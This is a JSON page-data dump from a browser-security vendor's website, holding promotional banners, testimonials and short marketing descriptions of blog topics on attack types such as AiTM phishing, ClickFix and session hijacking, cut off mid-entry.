[{"data":1,"prerenderedAt":212976},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":36,"navbar-about-highlight":108,"navbar-resource-highlight":182,"blog-topics":226,"trust-badges":656,"solution-nav":677,"fa-icon-solid-faUserSecret":800,"fa-icon-sharp-regular-faLaptopCode":804,"fa-icon-solid-faPlugCircleXmark":806,"fa-icon-sharp-regular-faPuzzlePiece":808,"fa-icon-solid-faFileCircleXmark":810,"fa-icon-solid-faGhost":813,"fa-icon-solid-faQrcode":816,"fa-icon-solid-faCookieBite":818,"fa-icon-sharp-regular-faFishingRod":820,"fa-icon-sharp-regular-faUserSecret":822,"fa-icon-sharp-regular-faRadar":824,"fa-icon-sharp-regular-faSatelliteDish":826,"fa-icon-sharp-regular-faShieldCheck":828,"fa-icon-sharp-regular-faBrainCircuit":830,"fa-icon-solid-faMobileScreenButton":832,"fa-icon-brands-faChrome":834,"fa-icon-solid-faDisplay":836,"fa-icon-solid-faFilter":838,"fa-icon-solid-faCloudArrowUp":840,"blog-topic-session-hijacking":842},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":22,"data":23,"variations":28,"lastUpdated":29,"firstPublished":30,"testRatio":31,"createdBy":32,"lastUpdatedBy":33,"folders":34,"rev":35},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":19,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},768,640,320,true,"data","",[],{"link":24,"text":25,"type":26,"url":27},{},"Get our latest report analyzing browser attack techniques in 2026","web-banner","https://pushsecurity.com/resources/browser-attacks-report",{},1774258294825,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],"j7ew2tin4q",{"createdBy":37,"createdDate":38,"data":39,"folders":94,"id":95,"lastUpdated":96,"lastUpdatedBy":97,"meta":98,"modelId":102,"name":103,"published":13,"query":104,"testRatio":31,"variations":105,"firstPublished":106,"stageModifiedSincePublish":6,"rev":107},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":40,"text":41,"url":21,"blocks":42,"state":90},"ewrererw","testrfesssssssssss",[43,70,78],{"@type":44,"@version":45,"id":46,"component":47,"responsiveStyles":60},"@builder.io/sdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":48,"tag":48,"options":49,"isRSC":59},"TopBannerContent",{"text":50,"ctaText":51,"url":52,"mainText":53,"cta":56},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https://pushsecurity.com/webinar/state-of-browser-security",{"content":54,"fontSize":55},"\u003Cp class=\"\">Do you know how much AI is in your workforce? Find out August 20th.\u003C/p>","text-base",{"content":57,"fontSize":55,"url":58},"\u003Cp class=\"\">Save your seat →\u003C/p>","https://pushsecurity.com/webinar/shadow-ai",null,{"large":61},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66,"marginTop":67,"marginBottom":67,"fontSize":68,"fontWeight":69},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"@type":44,"@version":45,"id":71,"component":72,"responsiveStyles":76},"builder-a2e1f4b9f30b464bb814d7f5de5b0aa7",{"name":73,"options":74,"isRSC":59},"Custom Code",{"code":75,"scriptsClientOnly":6},"\u003Cstyle>\n  .top-banner.bg-web-orange{background:rgb(114, 79, 255);}\n\u003C/style>\n",{"large":77},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66},{"id":79,"@type":44,"tagName":80,"properties":81,"responsiveStyles":85},"builder-pixel-k74nkzlquog","img",{"src":82,"aria-hidden":83,"alt":21,"role":84,"width":65,"height":65},"https://cdn.builder.io/api/v1/pixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true","presentation",{"large":86},{"height":65,"width":65,"display":87,"opacity":65,"overflow":88,"pointerEvents":89},"block","hidden","none",{"deviceSize":91,"location":92},"large",{"path":21,"query":93},{},[],"fd266d0172cc47429be7ad10f48c99ad",1786155414606,"kYgMv6WsbvfmlOUYqR2SFwGzw6e2",{"breakpoints":99,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":100,"lastPreviewUrl":101},{"medium":16,"small":17,"xsmall":18},"component","https://pushsecurity.com/?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=always-visible-banner&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.always-visible-banner=fd266d0172cc47429be7ad10f48c99ad&builder.overrides.fd266d0172cc47429be7ad10f48c99ad=fd266d0172cc47429be7ad10f48c99ad&builder.options.locale=Default","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"1lcyl36j3gz",[109,145],{"createdBy":32,"createdDate":110,"data":111,"folders":134,"id":135,"lastUpdated":136,"lastUpdatedBy":32,"meta":137,"modelId":139,"name":140,"published":13,"query":141,"stageModifiedSincePublish":6,"testRatio":31,"variations":142,"firstPublished":143,"rev":144},1776247359804,{"link":112,"testimonial":113,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":117},"@builder.io/core:Reference","f028f2b685bb47cd8bf9e82a26dd5a79","testimonial",{"query":118,"folders":119,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":123,"variations":127,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":130,"rev":132},[],[],1735823466309,"We found Push to be more accurate when compared to competitors and the browser agent offered features that others couldn’t match.","42035571a56940ac98bff4544aa79aa5",{"author":124,"jobTitle":125,"quote":121,"image":126},"Jason Waits","\u003Cp>CISO at Inductive Automation\u003C/p>","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07",{},1735910703862,1735823501152,{"kind":20,"lastPreviewUrl":21,"breakpoints":131,"hasAutosaves":19},{"small":17,"medium":16},"xal7chkxmdh","/customer-stories/inductive-automation",[],"9136a8f18b3b4a6ba29b8653a99372b1",1776247404986,{"breakpoints":138,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"20d9eaa352304613b3d1a794b400703d","testimonial-inductive-automation",[],{},1776247404973,"5mqgwlt47hs",{"createdBy":32,"createdDate":146,"data":147,"folders":174,"id":175,"lastUpdated":176,"lastUpdatedBy":32,"meta":177,"modelId":139,"name":172,"published":13,"query":179,"stageModifiedSincePublish":6,"testRatio":31,"variations":180,"firstPublished":181,"rev":144},1776255761419,{"description":148,"image":149,"link":150,"testimonial":153,"title":172,"type":173},"Learn about the latest techniques being used in the wild.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F7b4a5ebf81d64e8c9d7fc35f6c96c4a9",{"text":151,"url":152},"Download now","/resources/browser-attacks-report",{"@type":114,"id":154,"model":116,"value":155},"192acbb1f9ca4cac918c0ec435a8bae3",{"query":156,"folders":157,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":160,"variations":166,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":169,"rev":171},[],[],1728981467463,"Push does for identity what CrowdStrike did for the endpoint",{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},"https://cdn.builder.io/o/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F8b30e8ca50064058bbaef0f3c6164575%2Fcompressed?apiKey=f3a1111ff5be48cdbb123cd9f5795a05&token=8b30e8ca50064058bbaef0f3c6164575&alt=media&optimized=true","\u003Cp>Deputy CISO at Microsoft\u003C/p>\u003Cp>Former LinkedIn, Slack, Palantir\u003C/p>","Geoff Belknap","Push does for identity what CrowdStrike did for the endpoint.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F748f0ad0a5064a00a13f4721fcc8dea1",{},1742902158597,1728981782923,{"kind":20,"lastPreviewUrl":21,"breakpoints":170,"hasAutosaves":19},{"small":17,"medium":16},"kg131t0jkvo","Report: 2026 Browser Attack Techniques","resource",[],"05a9322735fc427db12e2740e4302300",1776255810913,{"breakpoints":178,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},[],{},1776255810900,[183,205],{"createdBy":32,"createdDate":184,"data":185,"folders":195,"id":196,"lastUpdated":197,"lastUpdatedBy":32,"meta":198,"modelId":200,"name":172,"published":13,"query":201,"stageModifiedSincePublish":6,"testRatio":31,"variations":202,"firstPublished":203,"rev":204},1776256900280,{"description":148,"image":149,"link":186,"testimonial":187,"title":172,"type":173},{"text":151,"url":152},{"@type":114,"id":154,"model":116,"value":188},{"query":189,"folders":190,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":191,"variations":192,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":193,"rev":171},[],[],{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":194,"hasAutosaves":19},{"small":17,"medium":16},[],"1f429607996e4e5fae8fe3f9b9610e55",1776256937553,{"breakpoints":199,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"4829faa81e7c4ee8bd2d000e160e8d3c",[],{},1776256937540,"470xio0yv7r",{"createdBy":32,"createdDate":206,"data":207,"folders":217,"id":218,"lastUpdated":219,"lastUpdatedBy":32,"meta":220,"modelId":200,"name":222,"published":13,"query":223,"stageModifiedSincePublish":6,"testRatio":31,"variations":224,"firstPublished":225,"rev":204},1776256949234,{"link":208,"testimonial":209,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":210},{"query":211,"folders":212,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":213,"variations":214,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":215,"rev":132},[],[],{"author":124,"jobTitle":125,"quote":121,"image":126},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":216,"hasAutosaves":19},{"small":17,"medium":16},[],"ce043785b71b4ece98eac811ecf4ba10",1776256974140,{"breakpoints":221,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"inductive-automation",[],{},1776256974130,{"id":227,"extension":228,"items":229,"meta":653,"stem":654,"__hash__":655},"blogTopics/blogtopics.json","json",[230,239,247,256,265,274,283,292,301,310,319,328,337,346,355,363,372,381,390,399,408,417,426,435,443,452,461,470,479,488,497,506,514,523,532,540,549,558,566,575,584,593,602,611,619,628,637,645],{"sys":231,"faqItemsCollection":233,"name":235,"slug":236,"tier":31,"intro":237,"faqTitle":59,"postCount":238,"hasPage":19},{"id":232},"topic-ai",{"items":234},[],"AI","ai","AI is reshaping both sides of the security equation: employees adopt AI tools faster than security teams can track them, while attackers use AI to scale and automate campaigns. Shadow AI adoption may now outpace wider shadow SaaS, and attackers are already turning AI chatbot platforms into malware delivery channels. Push has researched the offensive potential of computer-using agents and now applies AI agents to its own threat hunting. This hub covers AI as risk, target, and defensive tool.",22,{"sys":240,"faqItemsCollection":242,"name":244,"slug":245,"tier":45,"intro":246,"faqTitle":59,"postCount":238,"hasPage":19},{"id":241},"topic-ai-attacks",{"items":243},[],"AI attacks","ai-attacks","AI attacks run in both directions: attackers using AI to scale phishing, malware delivery, and identity attacks, and AI platforms themselves becoming the attack surface. Push has researched how computer-using agents can automate identity attacks, and has seen the poisoned tenant technique it coined used against its own employees in the wild.",{"sys":248,"faqItemsCollection":250,"name":252,"slug":253,"tier":45,"intro":254,"faqTitle":59,"postCount":255,"hasPage":19},{"id":249},"topic-ai-governance",{"items":251},[],"AI governance","ai-governance","AI governance is how organizations set and enforce rules for workplace AI use — which tools are allowed, what data can enter them, and how to evidence it to regulators. With US, EU, and UK AI regulations converging on obligations most organizations can’t yet meet, Push’s research makes the case that enforcement starts in the browser, where AI tools are actually used.",9,{"sys":257,"faqItemsCollection":259,"name":261,"slug":262,"tier":45,"intro":263,"faqTitle":59,"postCount":264,"hasPage":19},{"id":258},"topic-aitm",{"items":260},[],"AiTM phishing","aitm","Adversary-in-the-middle (AiTM) phishing proxies a real login page through an attacker-controlled site, capturing credentials, MFA codes, and session tokens in real time to bypass multi-factor authentication. Push’s research into kits like Evilginx and Sneaky2FA documents how they evade URL- and signature-based detection — and why analyzing toolkit behavior in the browser catches attacks that blocklists miss.",77,{"sys":266,"faqItemsCollection":268,"name":270,"slug":271,"tier":45,"intro":272,"faqTitle":59,"postCount":273,"hasPage":6},{"id":267},"topic-bec",{"items":269},[],"BEC","bec","Business email compromise (BEC) turns a hijacked mailbox into a fraud tool: attackers use mail rules, auto-forwarding, and payment redirection to steal money while staying invisible to the account owner. Alongside a first-hand case study of a BEC attack that nearly cost an engineering firm millions, Push breaks down these mailbox persistence tricks and how to detect them.",3,{"sys":275,"faqItemsCollection":277,"name":279,"slug":280,"tier":31,"intro":281,"faqTitle":59,"postCount":282,"hasPage":19},{"id":276},"topic-browser-attacks",{"items":278},[],"Browser attacks","browser-attacks","Browser attacks target users through the web pages, sessions, and extensions they rely on every day — bypassing endpoint and network defenses that never see inside the browser. Techniques like AiTM phishing kits, ClickFix-style copy-paste attacks, OAuth consent abuse, malvertising, and browser sync abuse have become a leading path to account takeover. Push researchers analyze these attacks in the wild, from infiltrating criminal phishing panels to dissecting toolkits like ConsentFix and Sneaky2FA. Use this hub to track how the techniques evolve and how to defend against them.",118,{"sys":284,"faqItemsCollection":286,"name":288,"slug":289,"tier":45,"intro":290,"faqTitle":59,"postCount":291,"hasPage":19},{"id":285},"topic-browser-extensions",{"items":287},[],"Browser extensions","browser-extensions","Browser extensions cut both ways for security teams: malicious or compromised extensions are a growing attack vector, while an extension is also the lightest-weight way to deploy security controls into the browsers employees already use. These posts cover both sides — extension-borne risks like browser sync attacks and the limits of risk scoring, and how Push uses its extension to detect threats and block risky extensions.",30,{"sys":293,"faqItemsCollection":295,"name":297,"slug":298,"tier":31,"intro":299,"faqTitle":59,"postCount":300,"hasPage":19},{"id":294},"topic-browser-security",{"items":296},[],"Browser security","browser-security","Work now happens in the browser, making browser security — visibility and control at the point where users meet the web — a core layer of enterprise defense. Endpoint, network, and email tools miss attacks that unfold inside the browser session, from AiTM phishing to risky extensions and shadow SaaS. Push has published extensively on choosing between enterprise browsers and browser extensions, using browser telemetry, and making the business case for browser security. Start here for both strategy and hands-on guidance.",127,{"sys":302,"faqItemsCollection":304,"name":306,"slug":307,"tier":45,"intro":308,"faqTitle":59,"postCount":309,"hasPage":19},{"id":303},"topic-casb",{"items":305},[],"CASB","casb","Cloud access security brokers (CASBs) govern cloud app usage through API integrations and network proxies — an approach that works for sanctioned apps but struggles with the long tail of shadow SaaS employees adopt on their own. Because every SaaS signup happens in a browser, Push captures that adoption in real time at the point of login, and these posts cover what proxy-based discovery misses.",12,{"sys":311,"faqItemsCollection":313,"name":315,"slug":316,"tier":45,"intro":317,"faqTitle":59,"postCount":318,"hasPage":19},{"id":312},"topic-clickfix",{"items":314},[],"ClickFix","clickfix","ClickFix attacks trick users into copying and running malicious commands themselves — typically through fake CAPTCHA, error, or fix-it prompts — so malware executes without a download for security tools to scan. Push researchers track the technique’s evolution in the wild and identified the ConsentFix and InstallFix variants, which extend it to OAuth consent grants and fake install guides.",39,{"sys":320,"faqItemsCollection":322,"name":324,"slug":325,"tier":45,"intro":326,"faqTitle":59,"postCount":327,"hasPage":19},{"id":321},"topic-credential-phishing",{"items":323},[],"Credential phishing","credential-phishing","Credential phishing steals usernames and passwords through fake login pages impersonating the services employees use, handing attackers direct access to corporate accounts. Attackers don’t hack in — they log in. Push’s browser extension analyzes login pages as users actually see them, blocking cloned pages and stopping employees from entering company passwords on lookalike sites.",89,{"sys":329,"faqItemsCollection":331,"name":333,"slug":334,"tier":45,"intro":335,"faqTitle":59,"postCount":336,"hasPage":19},{"id":330},"topic-credential-stuffing",{"items":332},[],"Credential stuffing","credential-stuffing","Credential stuffing is an attack where criminals replay username-password pairs stolen from one breach against other services, exploiting password reuse to take over accounts. Major breaches have shown how far a single set of stolen credentials can travel. Push detects verified stolen credentials by comparing employee passwords against breach datasets and dark-web threat intelligence, eliminating false positives.",64,{"sys":338,"faqItemsCollection":340,"name":342,"slug":343,"tier":31,"intro":344,"faqTitle":59,"postCount":345,"hasPage":19},{"id":339},"topic-detection-and-response",{"items":341},[],"Detection & response","detection-and-response","Detection and response is being reshaped as attacks move into the browser, where EDR, SIEM, and network tools have limited visibility. Modern phishing kits evade signature-based detection, and most malicious pages have never been seen before — so technique-level, in-browser detection matters more than known-bad indicators. Push’s work here spans high-fidelity browser telemetry, session token theft detection, and agentic threat hunting, plus practical IR guidance for compromised SaaS accounts and malicious OAuth apps. These posts cover both the philosophy and the workflows.",101,{"sys":347,"faqItemsCollection":349,"name":351,"slug":352,"tier":45,"intro":353,"faqTitle":59,"postCount":354,"hasPage":19},{"id":348},"topic-detection-engineering",{"items":350},[],"Detection engineering","detection-engineering","Detection engineering turns threat research into reliable, high-fidelity detections — and as AI accelerates the churn of attacker infrastructure, indicator-based detection is collapsing in favor of technique-level approaches. Here you’ll find teardowns of AiTM kits, ClickFix pages, and malvertising campaigns, alongside Push’s own account of building an agentic threat hunting pipeline that turns hunts into shipped detections.",42,{"sys":356,"faqItemsCollection":358,"name":360,"slug":361,"tier":45,"intro":362,"faqTitle":59,"postCount":238,"hasPage":19},{"id":357},"topic-device-code-phishing",{"items":359},[],"Device code phishing","device-code-phishing","Device code phishing abuses the OAuth device authorization flow: attackers generate a legitimate sign-in code, trick the victim into entering it on the vendor’s real login page, and walk away with access tokens — no fake site or password capture required. Push research tracked a sharp spike in adoption during 2026 as attackers use the technique to sidestep standard access controls.",{"sys":364,"faqItemsCollection":366,"name":368,"slug":369,"tier":45,"intro":370,"faqTitle":59,"postCount":371,"hasPage":19},{"id":365},"topic-dlp",{"items":367},[],"DLP","dlp","Data loss prevention (DLP) is the practice of stopping sensitive data from leaving your control — a problem that has shifted from email and endpoints to the browser, where employees move data into SaaS and AI tools. Push applies controls at that point of use, from keeping corporate credentials out of personal password managers to governing what flows into unsanctioned apps.",15,{"sys":373,"faqItemsCollection":375,"name":377,"slug":378,"tier":45,"intro":379,"faqTitle":59,"postCount":380,"hasPage":19},{"id":374},"topic-edr",{"items":376},[],"EDR","edr","Endpoint detection and response (EDR) watches processes, files, and memory on the device — a vantage point that never sees the phishing pages, stolen sessions, and identity attacks playing out inside the browser. That’s not an EDR failure; attackers have simply moved where it can’t follow. These posts map that gap and show how Push pairs browser-level detection and response with endpoint security to close it.",24,{"sys":382,"faqItemsCollection":384,"name":386,"slug":387,"tier":45,"intro":388,"faqTitle":59,"postCount":389,"hasPage":19},{"id":383},"topic-enterprise-browser",{"items":385},[],"Enterprise browser","enterprise-browser","An enterprise browser is a standalone, security-hardened browser that organizations deploy in place of Chrome, Edge, or other defaults. The real buying question is whether replacing the browser beats securing the browsers employees already use — a trade-off these posts examine directly, alongside analysis of Omdia’s secure enterprise browser market report and Push’s framework for weighing full browsers against extension-based deployment.",6,{"sys":391,"faqItemsCollection":393,"name":395,"slug":396,"tier":45,"intro":397,"faqTitle":59,"postCount":398,"hasPage":19},{"id":392},"topic-ghost-logins",{"items":394},[],"Ghost logins","ghost-logins","Ghost logins are overlooked authentication routes into an account — like a password login lingering behind SSO, or a forgotten secondary auth method — that attackers exploit for account takeover and persistence. Push coined the term after research showing how these forgotten login paths let attackers sidestep the MFA and SSO controls guarding an account’s primary sign-in method.",48,{"sys":400,"faqItemsCollection":402,"name":404,"slug":405,"tier":45,"intro":406,"faqTitle":59,"postCount":407,"hasPage":19},{"id":401},"topic-identity-attacks",{"items":403},[],"Identity attacks","identity-attacks","Identity attacks target user accounts rather than infrastructure — phishing credentials, stealing sessions, abusing OAuth grants — because logging in is easier than hacking in. Identity-based techniques are now the leading cause of breaches. Push’s offensive research maps these techniques continuously, coining attacks like SAMLjacking and the poisoned tenant before they appeared in the wild.",56,{"sys":409,"faqItemsCollection":411,"name":413,"slug":414,"tier":31,"intro":415,"faqTitle":59,"postCount":416,"hasPage":19},{"id":410},"topic-identity-security",{"items":412},[],"Identity security","identity-security","Identity security is the practice of protecting workforce accounts, credentials, and sessions — the primary route attackers now use to breach organizations. Instead of hacking in, attackers log in: through phished credentials, stolen session tokens, MFA bypass, and forgotten ghost logins. Push’s research team documents these techniques continuously, from cross-IdP impersonation and SAMLjacking to analyses of major identity-driven breaches. This hub collects that research alongside practical guidance on MFA, SSO, and stopping account takeover.",154,{"sys":418,"faqItemsCollection":420,"name":422,"slug":423,"tier":45,"intro":424,"faqTitle":59,"postCount":425,"hasPage":19},{"id":419},"topic-infostealer",{"items":421},[],"Infostealer","infostealer","Infostealers are malware built to harvest saved passwords, cookies, and session tokens from infected devices, supplying the stolen credentials behind some of the most consequential breaches of recent years. Push traces the ecosystem trading this data and checks employee passwords against threat intel feeds, flagging verified stolen credentials before attackers can log in with them.",52,{"sys":427,"faqItemsCollection":429,"name":431,"slug":432,"tier":45,"intro":433,"faqTitle":59,"postCount":434,"hasPage":19},{"id":428},"topic-legitimate-service-abuse",{"items":430},[],"Legitimate service abuse","legitimate-service-abuse","Legitimate service abuse means staging attacks on trusted platforms — Google Ads, AI chatbot share pages, office.com links, Slack, SaaS tenants — so malicious content inherits the reputation of the service hosting it. Push research has documented the pattern repeatedly, from malvertising run through hijacked Google Ad Manager accounts to phishing links generated by Active Directory Federation Services.",28,{"sys":436,"faqItemsCollection":438,"name":440,"slug":441,"tier":45,"intro":442,"faqTitle":59,"postCount":291,"hasPage":19},{"id":437},"topic-malvertising",{"items":439},[],"Malvertising","malvertising","Malvertising uses paid search and display ads to put phishing pages and malware in front of users, often by impersonating trusted brands at the top of Google results. Push tracks these campaigns continuously — intercepting live attacks spoofing well-known brands — and has documented how criminals hijack Google Ads accounts to fund and run them.",{"sys":444,"faqItemsCollection":446,"name":448,"slug":449,"tier":45,"intro":450,"faqTitle":59,"postCount":451,"hasPage":19},{"id":445},"topic-malware-delivery",{"items":447},[],"Malware delivery","malware-delivery","Malware delivery has moved into the browser: rather than email attachments, attackers now rely on malvertising, fake install guides, and ClickFix-style copy-paste lures to get code running on endpoints. Push research on techniques like InstallFix maps the playbook, and in-browser detection of malicious copy and paste blocks these attacks before commands reach the endpoint.",13,{"sys":453,"faqItemsCollection":455,"name":457,"slug":458,"tier":45,"intro":459,"faqTitle":59,"postCount":460,"hasPage":19},{"id":454},"topic-mfa",{"items":456},[],"MFA","mfa","Multi-factor authentication (MFA) requires a second proof of identity beyond a password, and it remains one of the most effective controls against account takeover. Regulators from Cyber Essentials to NYDFS now mandate it across cloud services. Push enforces MFA in the browser on third-party apps — even those with no native enforcement option — and shows security teams where coverage gaps remain.",83,{"sys":462,"faqItemsCollection":464,"name":466,"slug":467,"tier":45,"intro":468,"faqTitle":59,"postCount":469,"hasPage":19},{"id":463},"topic-mfa-bypass",{"items":465},[],"MFA bypass","mfa-bypass","MFA bypass covers the techniques attackers use to defeat multi-factor authentication — AiTM phishing kits, consent phishing, device code phishing, and MFA downgrade attacks among them. None of these break the second factor; they route around it. Push researchers regularly get hands-on with phishing kits like Evilginx and Sneaky2FA, analyzing how these attacks work in the wild and how they evolve.",58,{"sys":471,"faqItemsCollection":473,"name":475,"slug":476,"tier":45,"intro":477,"faqTitle":59,"postCount":478,"hasPage":19},{"id":472},"topic-non-email-phishing",{"items":474},[],"Non-email phishing","non-email-phishing","Non-email phishing delivers malicious links through channels your secure email gateway never sees — social media messages, IM apps like Slack and Teams, search ads, and SMS. Push has intercepted live campaigns arriving via LinkedIn DMs, malvertising, and messaging platforms, which is why it detects phishing pages in the browser at the point of click, regardless of delivery channel.",51,{"sys":480,"faqItemsCollection":482,"name":484,"slug":485,"tier":45,"intro":486,"faqTitle":59,"postCount":487,"hasPage":19},{"id":481},"topic-oauth-abuse",{"items":483},[],"OAuth abuse","oauth-abuse","OAuth abuse is attackers exploiting app-to-app authorization — consent phishing, malicious OAuth apps, stolen tokens, and device code flows — to gain persistent access to cloud tenants without touching a password or MFA prompt. Push tracks these techniques continuously and discovered ConsentFix, a browser-native attack in the wild that pairs OAuth consent phishing with a ClickFix-style prompt.",70,{"sys":489,"faqItemsCollection":491,"name":493,"slug":494,"tier":45,"intro":495,"faqTitle":59,"postCount":496,"hasPage":19},{"id":490},"topic-passkeys",{"items":492},[],"Passkeys","passkeys","Passkeys are phishing-resistant credentials that replace passwords with cryptographic key pairs bound to a user’s device. They defeat conventional credential phishing, but attackers adapt: Push research has documented MFA downgrade, app-specific password phishing, and device code phishing being used in the wild to route around passkey-protected accounts. Deploying passkeys is step one; closing those fallback paths is step two.",21,{"sys":498,"faqItemsCollection":500,"name":502,"slug":503,"tier":45,"intro":504,"faqTitle":59,"postCount":505,"hasPage":19},{"id":499},"topic-password-security",{"items":501},[],"Password security","password-security","Password security is the practice of keeping workforce credentials strong, unique, and out of attackers’ hands — still a frontline defense while most SaaS logins depend on passwords. Expiration policies don’t fix weak or reused passwords; visibility does. Push observes real logins in the browser to flag weak, reused, and breached passwords and guide employees to reset them on any app.",79,{"sys":507,"faqItemsCollection":509,"name":511,"slug":512,"tier":45,"intro":513,"faqTitle":59,"postCount":318,"hasPage":19},{"id":508},"topic-phaas",{"items":510},[],"PhaaS","phaas","Phishing-as-a-service (PhaaS) platforms sell ready-made phishing kits, hosted infrastructure, and management panels on subscription, letting low-skill criminals run MFA-bypassing campaigns at scale. Kits like Evilginx, Tycoon2FA, Sneaky2FA, FlowerStorm, and EvilTokens each add their own evasion and session-theft capabilities, and new entrants appear regularly. Push researchers continuously get hands-on with these tools — investigating attacks in the wild, reverse-engineering kit behavior, and turning that research into detections.",{"sys":515,"faqItemsCollection":517,"name":519,"slug":520,"tier":31,"intro":521,"faqTitle":59,"postCount":522,"hasPage":19},{"id":516},"topic-phishing",{"items":518},[],"Phishing","phishing","Phishing remains the most common way attackers compromise business accounts — and it has moved far beyond suspicious emails. Modern campaigns use AiTM toolkits that bypass MFA, consent phishing against OAuth, device code phishing, and lures delivered through malvertising, LinkedIn, and Slack. Push detects and blocks these attacks in the browser, and its researchers publish teardowns of live campaigns and kits like Evilginx and Sneaky2FA. Read on for how phishing actually works today and what stops it.",91,{"sys":524,"faqItemsCollection":526,"name":528,"slug":529,"tier":45,"intro":530,"faqTitle":59,"postCount":531,"hasPage":19},{"id":525},"topic-public-breach",{"items":527},[],"Public breach","public-breach","Public breaches are the disclosed incidents that show how attacks actually unfold once the headlines fade. Push’s breach analyses keep finding identity at the entry point: stolen credentials, OAuth abuse, and missing MFA recur across the incidents analyzed here.",29,{"sys":533,"faqItemsCollection":535,"name":537,"slug":538,"tier":45,"intro":539,"faqTitle":59,"postCount":451,"hasPage":19},{"id":534},"topic-ransomware",{"items":536},[],"Ransomware","ransomware","Ransomware attacks increasingly begin with an identity, not an exploit: stolen credentials, MFA bypass, and help desk scams give operators their initial foothold. The analysis here follows that front end of the kill chain — how identity compromise leads to ransomware deployment, and the breaches driving regulators toward tighter MFA requirements.",{"sys":541,"faqItemsCollection":543,"name":545,"slug":546,"tier":31,"intro":547,"faqTitle":59,"postCount":548,"hasPage":19},{"id":542},"topic-saas-security",{"items":544},[],"SaaS security","saas-security","SaaS security means protecting the sprawl of cloud apps, accounts, and integrations your employees adopt — often without IT ever knowing. Shadow SaaS, risky OAuth grants, ghost logins, and unmanaged third-party access create attack paths traditional controls can’t see, as recent high-profile breaches have demonstrated. Building on the original SaaS attack matrix, Push continues to map SaaS-native attack techniques alongside practical guides for discovering and securing unsanctioned apps, and this hub gathers all of it.",96,{"sys":550,"faqItemsCollection":552,"name":554,"slug":555,"tier":45,"intro":556,"faqTitle":59,"postCount":557,"hasPage":6},{"id":551},"topic-security-training",{"items":553},[],"Security training","security-training","Security training aims to teach employees to recognize and avoid attacks — yet modern phishing routinely fools even seasoned security professionals. Push argues that training budgets work harder as real-time, in-browser intervention: guardrails and warnings at the moment of risk, rather than lessons employees must recall under pressure.",4,{"sys":559,"faqItemsCollection":561,"name":563,"slug":564,"tier":45,"intro":565,"faqTitle":59,"postCount":389,"hasPage":19},{"id":560},"topic-seo-poisoning",{"items":562},[],"SEO poisoning","seo-poisoning","SEO poisoning manipulates search engine results so malicious pages rank prominently for the software, tools, or services users are actively searching for, turning a routine search into an infection vector. It often pairs with malvertising and ClickFix-style payloads — Push has documented attackers abusing shared pages on legitimate AI chatbot domains to deliver malware from trusted infrastructure.",{"sys":567,"faqItemsCollection":569,"name":571,"slug":572,"tier":45,"intro":573,"faqTitle":59,"postCount":574,"hasPage":19},{"id":568},"topic-session-hijacking",{"items":570},[],"Session hijacking","session-hijacking","Session hijacking is the theft of an authenticated session — usually via stolen session cookies or tokens — letting attackers walk past passwords and MFA into a live account. AiTM phishing kits and infostealers have made it a mainstream attack technique across both criminal and targeted intrusions. Push’s browser agent detects session token theft by adding telemetry to the user agent string, creating a high-fidelity signal for security 